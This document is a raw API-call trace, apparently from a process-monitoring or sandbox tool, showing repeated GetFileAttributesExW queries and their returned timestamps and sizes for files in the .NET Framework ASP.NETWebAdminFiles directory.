	[0087.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizard.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizard.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x816)) returned 1
	[0087.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizardAddUser.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizardadduser.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x497)) returned 1
	[0087.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizardAuthentication.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizardauthentication.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x74b)) returned 1
	[0087.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizardCreateRoles.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizardcreateroles.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1
	[0087.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizardFinish.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizardfinish.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x395)) returned 1
	[0087.712] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizardInit.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizardinit.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x60e)) returned 1
	[0087.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizardPermission.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizardpermission.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe3d)) returned 1
	[0087.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\App_LocalResources\\wizardProviderInfo.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\app_localresources\\wizardproviderinfo.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x485)) returned 1
	[0087.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\confirmation.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\confirmation.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x963)) returned 1
	[0087.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizard.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizard.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fda48 | out: lpFileInformation=0x123fda48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2ae9)) returned 1
	[0087.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizardAddUser.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizardadduser.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6c8)) returned 1
	[0087.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizardAuthentication.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizardauthentication.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa6c)) returned 1
	[0087.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizardCreateRoles.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizardcreateroles.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f325620, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c)) returned 1
	[0087.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizardFinish.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizardfinish.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1
	[0087.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizardInit.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizardinit.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fdbd8 | out: lpFileInformation=0x123fdbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1eb)) returned 1
	[0087.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizardPermission.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizardpermission.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f34b780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x62c9)) returned 1
	[0087.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizardProviderInfo.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizardproviderinfo.ascx"), fInfoLevelId=0x0, lpFileInformation=0x123fdc78 | out: lpFileInformation=0x123fdc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x6b2)) returned 1
	[0087.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\security.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fdcc8 | out: lpFileInformation=0x123fdcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f02baa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x27da)) returned 1
	[0087.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\security0.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fdd18 | out: lpFileInformation=0x123fdd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f051c00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x5a7)) returned 1
	[0087.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\setUpAuthentication.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\setupauthentication.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fdd68 | out: lpFileInformation=0x123fdd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f077d60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa04)) returned 1
	[0087.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fddb8 | out: lpFileInformation=0x123fddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1a52)) returned 1
	[0087.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_application.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fde08 | out: lpFileInformation=0x123fde08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3503)) returned 1
	[0087.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_internals.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fde58 | out: lpFileInformation=0x123fde58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2b3200, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xfec)) returned 1
	[0087.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_provider.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fdea8 | out: lpFileInformation=0x123fdea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1a2d)) returned 1
	[0087.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_security.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fdef8 | out: lpFileInformation=0x123fdef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2d9360, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2943)) returned 1
	[0087.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminstyles.css"), fInfoLevelId=0x0, lpFileInformation=0x123fdf48 | out: lpFileInformation=0x123fdf48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2ff4c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x343b)) returned 1
	[0087.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminWithConfirmation.master" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminwithconfirmation.master"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2ff4c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xf16)) returned 1
	[0087.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminWithConfirmationNoButtonRow.master" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminwithconfirmationnobuttonrow.master"), fInfoLevelId=0x0, lpFileInformation=0x1273e008 | out: lpFileInformation=0x1273e008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f2ff4c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xe5a)) returned 1
	[0087.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\default.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\default.aspx"), fInfoLevelId=0x0, lpFileInformation=0x1273e058 | out: lpFileInformation=0x1273e058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x10fd)) returned 1
	[0087.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\error.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\error.aspx"), fInfoLevelId=0x0, lpFileInformation=0x1273e0a8 | out: lpFileInformation=0x1273e0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec999a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1a91)) returned 1
	[0087.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home0.aspx"), fInfoLevelId=0x0, lpFileInformation=0x1273e0f8 | out: lpFileInformation=0x1273e0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x551)) returned 1
	[0087.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home1.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home1.aspx"), fInfoLevelId=0x0, lpFileInformation=0x1273e148 | out: lpFileInformation=0x1273e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2e4)) returned 1
	[0087.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home2.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\home2.aspx"), fInfoLevelId=0x0, lpFileInformation=0x1273e198 | out: lpFileInformation=0x1273e198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x412)) returned 1
	[0087.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\navigationBar.ascx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\navigationbar.ascx"), fInfoLevelId=0x0, lpFileInformation=0x1273e1e8 | out: lpFileInformation=0x1273e1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2377)) returned 1
	[0087.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\web.config"), fInfoLevelId=0x0, lpFileInformation=0x1273e238 | out: lpFileInformation=0x1273e238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1fd7000, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xd5c807c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc1fd7000, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1
	[0087.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\webAdmin.master" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadmin.master"), fInfoLevelId=0x0, lpFileInformation=0x1273e288 | out: lpFileInformation=0x1273e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa78)) returned 1
